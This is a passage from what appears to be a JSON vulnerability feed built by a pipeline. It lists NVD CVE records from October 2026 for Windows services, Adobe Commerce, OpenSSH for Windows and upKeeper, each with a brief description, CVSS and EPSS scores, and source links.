exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:45.583Z","updatedAt":"2026-10-16T16:22:44.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96108","asOf":"2026-10-16T16:22:44.983Z"},"epss":{"probability":0.00306,"percentile":0.23153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96108","type":"primary","publishedAt":"2026-10-13T19:21:45.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95943","cveId":"CVE-2026-95943","aliases":[],"kind":"vulnerability","title":"Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.","summary":"Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.","detail":"Double free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:44.983Z","updatedAt":"2026-10-14T04:18:56.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95943","asOf":"2026-10-14T04:18:56.837Z"},"epss":{"probability":0.00275,"percentile":0.19728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95943","type":"primary","publishedAt":"2026-10-13T19:21:44.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95631","cveId":"CVE-2026-95631","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:44.693Z","updatedAt":"2026-10-15T11:18:08.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95631","asOf":"2026-10-15T11:18:08.390Z"},"epss":{"probability":0.00856,"percentile":0.58113,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95631","type":"primary","publishedAt":"2026-10-13T19:21:44.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92922","cveId":"CVE-2026-92922","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form...","summary":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.953Z","updatedAt":"2026-10-15T16:18:23.543Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92922","asOf":"2026-10-15T16:18:23.543Z"},"epss":{"probability":0.00898,"percentile":0.59347,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92922&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92922","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92922","type":"primary","publishedAt":"2026-10-13T19:21:43.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92922&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92922, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92911","cveId":"CVE-2026-92911","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form...","summary":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.840Z","updatedAt":"2026-10-14T19:17:22.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92911","asOf":"2026-10-14T19:17:22.857Z"},"epss":{"probability":0.00862,"percentile":0.5829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92911","type":"primary","publishedAt":"2026-10-13T19:21:43.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92910","cveId":"CVE-2026-92910","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.","summary":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.723Z","updatedAt":"2026-10-14T16:17:57.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92910","asOf":"2026-10-14T16:17:57.113Z"},"epss":{"probability":0.00411,"percentile":0.35087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92910","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92910","type":"primary","publishedAt":"2026-10-13T19:21:43.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92910, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92908","cveId":"CVE-2026-92908","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.","summary":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.487Z","updatedAt":"2026-10-15T04:18:29.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92908","asOf":"2026-10-15T04:18:29.530Z"},"epss":{"probability":0.006,"percentile":0.48427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92908","type":"primary","publishedAt":"2026-10-13T19:21:43.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92908, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92088","cveId":"CVE-2026-92088","aliases":[],"kind":"vulnerability","title":"Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation.","summary":"Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation.\n\nThis issue affects upKeeper Instant Privilege Access: through 1.7.1.","detail":"Improper handling of undefined values vulnerability in upKeeper Solutions upKeeper Instant Privilege Access allows Privilege Escalation.\n\nThis issue affects upKeeper Instant Privilege Access: through 1.7.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.250Z","updatedAt":"2026-10-13T20:19:10.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92088","asOf":"2026-10-13T20:19:10.273Z"},"epss":{"probability":0.0014,"percentile":0.03307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92088","type":"primary","publishedAt":"2026-10-13T19:21:43.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88159","cveId":"CVE-2026-88159","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:36.207Z","updatedAt":"2026-10-16T16:22:37.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88159","asOf":"2026-10-16T16:22:37.243Z"},"epss":{"probability":0.01441,"percentile":0.73013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88159","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88159","type":"primary","publishedAt":"2026-10-13T19:21:36.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88157","cveId":"CVE-2026-88157","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:35.840Z","updatedAt":"2026-10-16T16:22:36.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSH"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88157","asOf":"2026-10-16T16:22:36.847Z"},"epss":{"probability":0.00535,"percentile":0.4488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88157&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88157","type":"primary","publishedAt":"2026-10-13T19:21:35.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88157&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88157, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88152","cveId":"CVE-2026-88152","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:35.153Z","updatedAt":"2026-10-16T16:22:36.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88152","asOf":"2026-10-16T16:22:36.380Z"},"epss":{"probability":0.00355,"percentile":0.28979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88152","type":"primary","publishedAt":"2026-10-13T19:21:35.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88149","cveId":"CVE-2026-88149","aliases":[],"kind":"vulnerability","title":"Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:34.723Z","updatedAt":"2026-10-16T16:22:36.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88149","asOf":"2026-10-16T16:22:36.023Z"},"epss":{"probability":0.00204,"percentile":0.10239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88149","type":"primary","publishedAt":"2026-10-13T19:21:34.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88147","cveId":"CVE-2026-88147","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Secure Socket 